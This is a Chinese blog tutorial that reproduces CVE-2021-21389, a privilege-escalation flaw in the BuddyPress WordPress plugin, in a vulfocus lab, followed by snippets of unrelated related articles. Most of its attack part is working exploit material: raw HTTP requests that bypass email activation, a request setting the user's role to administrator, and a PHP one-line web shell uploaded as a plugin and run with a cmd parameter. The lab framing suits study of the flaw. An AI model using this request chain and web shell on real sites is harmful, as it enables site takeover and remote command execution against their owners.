wordpress 垂直越权(CVE=2021-21389)漏洞复现详细教程
关于本地化搭建vulfocus靶场的师傅可以参考我置顶文章
KALI搭建log4j2靶场及漏洞复现全流程-CSDN博客
https://blog.csdn.net/2301_78255681/article/details/147286844
描述:
BuddyPress 是一个用于构建社区站点的开源 WordPress 插件。在 7.2.1 之前的 5.0.0 版本的 BuddyPress 中,非特权普通用户可以通过利用 REST API 成员端点中的问题来获得管理员权限。该漏洞已在 BuddyPress 7.2.1 中修复。插件的现有安装应更新到此版本以缓解问题。
一、启动环境

也可以在vulfocus官网启动靶场环境
Vulfocus 漏洞威胁分析平台Vulfocus 是一个漏洞集成平台,将docker 漏洞镜像,放入即可使用,开箱即用的平台,可以用于漏洞复现,POC验证,EXP验证,快速搭建启动漏洞环境,同时也是一个在线的漏洞学习平台,提供在线靶场,环境编排功能,进行环境模拟供学习,攻防挑战等需求。
https://vulfocus.cn/#/dashboard

二、注册绕过
1、直接刷新页面,使用抓包工具进行抓包,Burp和Yakit均可
2、构造发包:POST /wp-json/buddypress/v1/signup
{"user_login": "test1121", "user_email": "qxzkpzc@test.com", "user_name": "test1121", "password": "test1121"}
注意:Host换成自己的ip和端口
POST //wp-json/buddypress/v1/signup HTTP/1.1
Host:192.168.217.133:26855
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: python-requests/2.24.0
Accept: */*
Content-Type: application/json; charset=UTF-8
Content-Length: 109{"user_login": "test1121", "user_email": "qxzkpzc@test.com", "user_name": "test1121", "password": "test1121"}

3、然后将响应包中的activation_key取出来,放在后边构造的PUT请求包中

4、BuddyPress的注册原理
在BuddyPress的默认设计中,用户注册通常分为两步:
1.注册提交
当用户提交注册信息时,BuddyPress会生成一个activation_key,并将其与用户数据临时存储在数据库(如wp_signups表)中
2.账户激活
系统向用户邮箱发送包含activation_key的激活连接,用户点击链接后账户才正式生效
而这里将该key提取出来,核心目的是为了绕过安全机制,直接激活账户以触发漏洞
5、进行下一步操作,构造PUT请求包:
将取出来的activation_key放在PUT的请求中
PUT //wp-json/buddypress/v1/signup/activate/49KzwHGdKAgoWBXtaGTdqSnm9QtFx7oT HTTP/1.1
Host:192.168.217.133:19376
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: python-requests/2.24.0
Accept: */*
Content-Type: application/json; charset=UTF-8
Content-Length: 109{"user_login": "test1121", "user_email": "qxzkpzc@test.com", "user_name": "test1121", "password": "test1121"}

这里通过使用activation_key能够绕过邮箱激活链接,使攻击者能够直接激活账户
6、使用账号密码登录test1121/test1121


登录后是这样的

可以点击Demo查看面板,此时是没有高级权限的

三、获取admin权限
1、替换自己的ip和端口,访问下面的地址
http://192.168.217.133:57659/groups/create/step/group-details/
2、填写下面的Details,添加组

然后点击create,自动跳转到Settings模块,都是默认,继续点击next

自动跳转到Photo,继续点击Next

继续Next

最后到Invite模块,点击finish完成

3、设置好之后直接回到了groups界面

4、然后先点击manage,再点击members,再次打开抓包工具,开启抓包后,再点击ban

5、此时需要取出请求包中的两个参数,一个是X-WP-Nonce 一个是Cookie,将这两个值记下来

6、构造下面的请求包,将X-WP-Nonce 和 Cookie的值替换成自己的
POST /wp-json/buddypress/v1/members/me HTTP/1.1
Host: 192.168.217.133:19376
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-WP-Nonce: 71999ef68f
Content-Type: application/json; charset=UTF-8
Cookie: vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTQ1MzA4LCJlbWFpbCI6IiJ9.RkOT3h1AzirdlB-RN9OSfPVismumNoCGrENtOUtHaIs; ktqnjecmsdodbdata=empirecms; ktqnjloginuserid=1; ktqnjloginusername=admin; ktqnjloginrnd=J2XvVbuHIv5BfVrMIDim; ktqnjloginlevel=1; ktqnjeloginlic=empirecmslic; ktqnjloginadminstyleid=1; ktqnjloginecmsckpass=7f1aa1c376cc977d244d25af64a54347; ktqnjloginecmsckfrnd=m5EidbxgfVYuDBinbbwFo2Ir5dZ; ktqnjloginecmsckfdef=OE0fuOEG9V2uLycAHfJkJ6; ktqnjemecoHaFTxxc=t1FbqgENKaPMabKCPx; ktqnjtruelogintime=1744861011; ktqnjlogintime=1744861734; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_28e00d2a0f302adaf322ea313ba8376a=test1121%7C1746112309%7CWroNqMD0d7pS5A9HbOisd2bP2WX3rldP0ATXUFWP6dT%7Ce56495a997dbcb0236bd0395a1fd3d4e80ae325ad12758d39eb80ef812493ce4; wp-settings-time-2=1744902901; wp-settings-2=mfold%3Do; wordpress_logged_in_c0ae86529b9441a65c60771475231199=test1121%7C1745076515%7CzULZkXkgWVEPRJ2qwL5XaezdZOejeCEwnlRsTLnU6bZ%7Cee9d7bd05ec2c9eb213dbcf8be768e04c6fc8f342fe9121640089c2f54cf30b4
Content-Length: 26{"roles": "administrator"}

7、放包之后就有管理员的权限了,再次打开Demo面板就成这样的界面了

8、提权原理
不要着急下一步,回顾一下提权过程每一步,对于这一系列操作后面的利用逻辑才是我们需要学习的。
在提权到admin的过程中:我们首先进行了分组操作,让自己置于一个组下。这样做有什么作用呢?
BuddyPress在members端点中未对敏感字段(如roles)进行分组隔离或权限校验,导致普通用户可直接修改这些字段!获得的X-WP-Nonce和Cookie只是为了验证我们的身份,然后在members/me端点下,因其未限制敏感字段roles,导致我们可以直接修改roles的值提权到admin,而在底层代码,bp_rest_update_member中
function bp_rest_update_member($request) {$user_id = get_current_user_id(); // 获取当前用户 ID$params = $request->get_params();// 直接更新用户数据,未校验字段合法性wp_update_user(['ID' => $user_id,'role' => $params['roles'] // 漏洞点:允许普通用户修改角色]);
}
而后续的wp_update_user 函数也未进行二次校验权限,直接将角色写入数据库
UPDATE wp_users SET role = 'administrator' WHERE ID = <user_id>;
这才导致了垂直越权
四,上传木马,获取shell
1、利用plugin更新来上传我们的一句话木马文件,来到Demo面板,点击Plugins模块,点击Add New

2、继续点击Upload Plugin,可以看到让我们选择文件上传

3、测试发现是可以直接上传.php文件的,我们直接上传c.php木马文件
木马文件的内容为:
Content-Disposition: form-data; name="pluginzip"; filename="c.php"Content-Type: text/php<?phpsystem($_GET[cmd]);?>
3、选择所有文件,找到要上传的php木马文件

4、选择后点击,install Now上传

上传成功显示的是

5、直接来到/wp-content/uploads/2025/ 中查看上传的文件


6、点击c.php再传参数,c.php?cmd=id 就成功执行命令了

相关文章:
wordpress 垂直越权(CVE=2021-21389)漏洞复现详细教程
关于本地化搭建vulfocus靶场的师傅可以参考我置顶文章 KALI搭建log4j2靶场及漏洞复现全流程-CSDN博客https://blog.csdn.net/2301_78255681/article/details/147286844 描述: BuddyPress 是一个用于构建社区站点的开源 WordPress 插件。在 7.2.1 之前的 5.0.0 版本的 BuddyP…...
MySQL 线上大表 DDL 如何避免锁表(pt-online-schema-change)
文章目录 1、锁表问题2、pt-online-schema-change 原理3、pt-online-schema-change 实战3.1、准备数据3.2、安装工具3.3、模拟锁表3.4、解决锁表 1、锁表问题 在系统研发过程中,随着业务需求千变万化,避免不了调整线上MySQL DDL数据表的操作,…...
uni-app 状态管理深度解析:Vuex 与全局方案实战指南
uni-app 状态管理深度解析:Vuex 与全局方案实战指南 一、Vuex 使用示例 1. 基础 Vuex 配置 1.1 项目结构 src/ ├── store/ │ ├── index.js # 主入口文件 │ └── modules/ │ └── counter.js # 计数器模块 └── main.js …...
剑指offer经典题目(五)
目录 栈相关 二叉树相关 栈相关 题目一:定义栈的数据结构,请在该类型中实现一个能够得到栈中所含最小元素的 min 函数,输入操作时保证 pop、top 和 min 函数操作时,栈中一定有元素。OJ地址 图示如下。 主要思想:我们…...
3、排序算法1---按考研大纲做的
一、插入排序 1、直接插入排序 推荐先看这个视频 1.1、原理 第一步,索引0的位置是有序区(有序区就是有序的部分,刚开始就只有第一个数据是有序的)。第二步,将第2个位置到最后一个位置的元素,依次进行排…...
llama-webui docker实现界面部署
1. 启动ollama服务 [nlp server]$ ollama serve 2025/04/21 14:18:23 routes.go:1007: INFO server config env"map[OLLAMA_DEBUG:false OLLAMA_FLASH_ATTENTION:false OLLAMA_HOST: OLLAMA_KEEP_ALIVE:24h OLLAMA_LLM_LIBRARY: OLLAMA_MAX_LOADED_MODELS:4 OLLAMA_MAX_…...
jinjia2将后端传至前端的字典变量转换为JS变量
后端 country_dict {AE: .amazon.ae, AU: .amazon.com.au} 前端 const country_list JSON.parse({{ country_list | tojson | safe }});...
如何深入理解引用监视器,安全标识以及访问控制模型与资产安全之间的关系
一、核心概念总结 安全标识(策略决策的 “信息载体) 是主体(如用户、进程)和客体(如文件、数据库、设备)的安全属性,用于标记其安全等级、权限、访问能力或受保护级别,即用于标识其安全等级、权限范围或约束…...
Linux的Socket开发补充
是listen函数阻塞等待连接,还是accept函数阻塞等待连接? 这两个函数的名字,听起来像listen一直在阻塞监听,有连接了就accept,但其实不是的。 调用listen()后,程序会立即返回,继续执行后续代码&a…...
Flutter异常Couldn‘t find dynamic library in default locations
Flutter项目在Windows系统使用ffigen生成代码时报下面的错误: [SEVERE] : Couldnt find dynamic library in default locations. [SEVERE] : Please supply one or more path/to/llvm in ffigens config under the key llvm-path. Unhandled exception: Exception: …...
Spring-AOP分析
Spring分析-AOP 1.案例引入 在上一篇文章中,【Spring–IOC】【https://www.cnblogs.com/jackjavacpp/p/18829545】,我们了解到了IOC容器的创建过程,在文末也提到了AOP相关,但是没有作细致分析,这篇文章就结合示例&am…...
[特殊字符] Prompt如何驱动大模型对本地文件实现自主变更:Cline技术深度解析
在AI技术快速发展的今天,编程方式正在经历一场革命性的变革。从传统的"人写代码"到"AI辅助编程",再到"AI自主编程",开发效率得到了质的提升。Cline作为一款基于VSCode的AI编程助手,通过其独特的pro…...
【专业解读:Semantic Kernel(SK)】大语言模型与传统编程的桥梁
目录 Start:什么是Semantic Kernel? 一、Semantic Kernel的本质:AI时代的操作系统内核 1.1 重新定义LLM的应用边界 1.2 技术定位对比 二、SK框架的六大核心组件与技术实现 2.1 内核(Kernel):智能任务调度中心 2…...
PHP 8 中的 Swow:高性能纯协程网络通信引擎
一、什么是 Swow? Swow 是一个高性能的纯协程网络通信引擎,专为 PHP 设计。它结合了最小化的 C 核心和 PHP 代码,旨在提供高性能的网络编程支持。Swow 的核心目标是释放 PHP 在高并发场景下的真正潜力,同时保持代码的简洁和易用性…...
你学会了些什么211201?--http基础知识
概念 HTTP–Hyper Text Transfer Protocol,超文本传输协议;是一种建立在TCP上的无状态连接(短连接)。 整个基本的工作流程是:客户端发送一个HTTP请求(Request ),这个请求说明了客户端…...
每天学一个 Linux 命令(29):tail
可访问网站查看,视觉品味拉满: http://www.616vip.cn/29/index.html tail 命令用于显示文件的末尾内容,默认显示最后 10 行。它常用于实时监控日志文件或查看文件的尾部数据。以下是详细说明和示例: 命令格式 tail [选项] [文件...]常用选项 选项描述-n <NUM> …...
【形式化验证基础】活跃属性Liveness Property和安全性质(Safety Property)介绍
文章目录 一、Liveness Property1、概念介绍2、形式化定义二、Safety Property1. 定义回顾2. 核心概念解析3. 为什么强调“有限前缀”4. 示例说明4.1 示例1:交通信号灯系统4.2 示例2:银行账户管理系统5. 实际应用的意义三. 总结一、Liveness Property 1、概念介绍 在系统的…...
技工院校无人机专业工学一体化人才培养方案
随着无人机技术在农业植保、地理测绘、应急救援等领域的深度应用,行业复合型人才缺口持续扩大。技工院校作为技能型人才培养主阵地,亟需构建与行业发展同步的无人机专业人才培养体系。本文基于"工学一体化"教育理念,从课程体系、实…...
PI0 Openpi 部署(仅测试虚拟环境)
https://github.com/Physical-Intelligence/openpi/tree/main 我使用4070tisuper, 14900k,完全使用官方默认设置,没有出现其他问题。 目前只对examples/aloha_sim进行测试,使用docker进行部署, 默认使用pi0_aloha_sim模型(但是文档上没找到对应的&…...
计算机视觉——利用AI幻觉检测图像是否是生成式算生成的图像
概述 俄罗斯的新研究提出了一种非常规方法,用于检测不真实的AI生成图像——不是通过提高大型视觉-语言模型(LVLMs)的准确性,而是故意利用它们的幻觉倾向。 这种新方法使用LVLMs提取图像的多个“原子事实”,然后应用自…...
性能测试工具和JMeter功能概要
主流性能测试工具 LoadRunner JMeter [本阶段学习] 1.1 LoadRunner HP LoadRunner是一种工业级标准性能测试负载工具,可以模拟上万用户实施测试,并在测试时可实时检测应用服务器及服务器硬件各种数据,来确认和查找存在的瓶颈支持多协议&am…...
《理解 Java 泛型中的通配符:extends 与 super 的使用场景》
大家好呀!👋 今天我们要聊一个让很多Java初学者头疼的话题——泛型通配符。别担心,我会用最通俗易懂的方式,带你彻底搞懂这个看似复杂的概念。准备好了吗?Let’s go! 🚀 一、为什么我们需要泛型通配符&…...
C#学习第17天:序列化和反序列化
什么是序列化? 定义:序列化是指把对象转换为一种可以轻松存储或传输的格式,如JSON、XML或二进制格式。这个过程需要捕获对象的类型信息和数据内容。用途:使得对象可以持久化到文件、发送至网络、或存储在数据库中。 什么是反序列…...
FlaskRestfulAPI接口的初步认识
FlaskRestfulAPI 介绍 记录学习 Flask Restful API 开发的过程 项目来源:【Flask Restful API教程-01.Restful API介绍】 我的代码仓库:https://gitee.com/giteechaozhi/flask-restful-api.git 后端API接口实现功能:数据库访问控制…...
CSS预处理工具有哪些?分享主流产品
目前主流的CSS预处理工具包括:Sass、Less、Stylus、PostCSS等。其中,Sass是全球使用最广泛的CSS预处理工具之一,以强大的功能、灵活的扩展性以及完善的社区生态闻名。Sass通过增加变量、嵌套、混合宏(mixin)等功能&…...
微信小程序中,将搜索组件获取的值传递给父页面(如 index 页面)可以通过 自定义事件 或 页面引用 实现
将搜索组件获取的值传递给父页面(如 index 页面)可以通过 自定义事件 或 页面引用 实现 方法 1:自定义事件(推荐) 步骤 1:搜索组件内触发事件 在搜索组件的 JS 中,当获取到搜索值时,…...
深度学习预训练和微调
目录 1. 预训练(Pre-training)是什么? 2. 微调(Fine-tuning)是什么? 3. 预训练和微调的对象 4. 特征提取如何实现? 预训练阶段: 微调阶段: 5. 这样做的作用和意义 …...
AI 速读 SpecReason:让思考又快又准!
在大模型推理的世界里,速度与精度往往难以兼得。但今天要介绍的这篇论文带来了名为SpecReason的创新系统,它打破常规,能让大模型推理既快速又准确,大幅提升性能。想知道它是如何做到的吗?快来一探究竟! 论…...
Qt通过ODBC和QPSQL两种方式连接PostgreSQL或PolarDB PostgreSQL版
一、概述 以下主要在Windows下验证连接PolarDB PostgreSQL版(阿里云兼容 PostgreSQL的PolarDB版本)。Linux下类似,ODBC方式则需要配置odbcinst.ini和odbc.ini。 二、代码 以下为完整代码,包含两种方式连接数据库,并…...
MobaXterm连接Ubuntu(SSH)
1.查看Ubuntu ip 打开终端,使用指令 ifconfig 由图可知ip地址 2.MobaXterm进行SSH连接 点击session,然后点击ssh,最后输入ubuntu IP地址以及用户名...
